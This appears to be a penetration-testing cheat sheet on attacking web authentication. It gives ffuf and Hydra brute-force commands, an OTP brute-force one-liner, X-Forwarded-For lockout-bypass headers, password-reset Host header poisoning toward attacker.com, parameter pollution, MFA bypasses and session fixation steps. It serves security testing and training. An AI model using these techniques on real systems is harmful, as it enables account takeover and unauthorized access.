Authentication
Exploit weak authentication mechanisms to gain unauthorized access.
Methodology
- 1Test for default/weak credentials
- 2Analyze password reset & account recovery flows
- 3Test brute-force protections (lockout, rate limiting, CAPTCHA)
- 4Check for username enumeration
- 5Test multi-factor authentication bypasses
- 6Analyze session management (token strength, fixation, logout)
Detailed Steps
Test login with known vs unknown usernames to find differences:
shell
POST /login
username=admin&password=wrong
→ "Invalid password" (user exists!)
username=randomuser&password=wrong
→ "Invalid username or password" (different message!)Check for differences in:
- Error messages (text differences)
- Response time (valid user = slower due to hash comparison)
- HTTP status codes
- Response length
Tools:
bash
# Burp Intruder — enumerate usernames
# ffuf
ffuf -w usernames.txt -u http://target/login -X POST \
-d "username=FUZZ&password=test" -fr "Invalid username"Burp Intruder (Cluster Bomb):
- Payload 1: username list
- Payload 2: password list
- Filter by response length/status
Hydra:
bash
hydra -L users.txt -P passwords.txt target http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid"Common password lists:
- /usr/share/wordlists/rockyou.txt
- SecLists/Passwords/Common-Credentials/
IP-based lockout bypass:
shell
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1Techniques:
- IP rotation via X-Forwarded-For header with different IPs
- Credential stuffing — one attempt per account across many accounts
- Null byte injection:
admin%00may bypass lockout check - Case manipulation:
Admin,ADMIN,aDmIn - Distributed brute force from multiple IPs
Testing lockout:
shell
1. Fail 5 times → check if locked
2. Try different username casing
3. Try with/without spaces
4. Try with special characters appendedTest for:
- Predictable tokens:
shell
/reset?token=123456 → try token=123457
/reset?token=base64(email) → decode and forge- Host header poisoning:
shell
POST /forgot-password
Host: attacker.com
→ Reset link sent with attacker's domain- Parameter pollution:
shell
POST /forgot-password
email=victim@email.com&email=attacker@email.com- Token not invalidated after use
- Token doesn't expire
- Password reset via JSON parameter injection
- Direct page access — skip MFA page, go directly to authenticated page
- Response manipulation — change
"success":falseto"success":true - Brute force OTP — 4-digit = only 10,000 combinations
- Token reuse — use same OTP code multiple times
- Backup codes — test default or predictable backup codes
- Race condition — send multiple OTP verification requests simultaneously
bash
# Brute force 4-digit OTP with Burp Intruder
# Payload: 0000-9999
# Or with ffuf:
seq -w 0000 9999 > otp.txt
ffuf -w otp.txt -u http://target/verify -X POST \
-d "otp=FUZZ" -H "Cookie: session=xxx" -fc 403Session Fixation:
shell
1. Get a session token from the app
2. Force victim to use your session token
3. Victim authenticates → your token is now authenticatedWeak Session Tokens:
- Check if sequential (session1, session2...)
- Check if based on timestamp
- Check entropy with Burp Sequencer
Stay-Logged-In Cookie:
shell
Cookie: remember=base64(admin:md5(password))
→ Decode and crack the hashLogout flaws:
- Session still valid after logout
- Token not invalidated server-side
Tools
Burp SuiteHydraffufJohn the RipperHashcat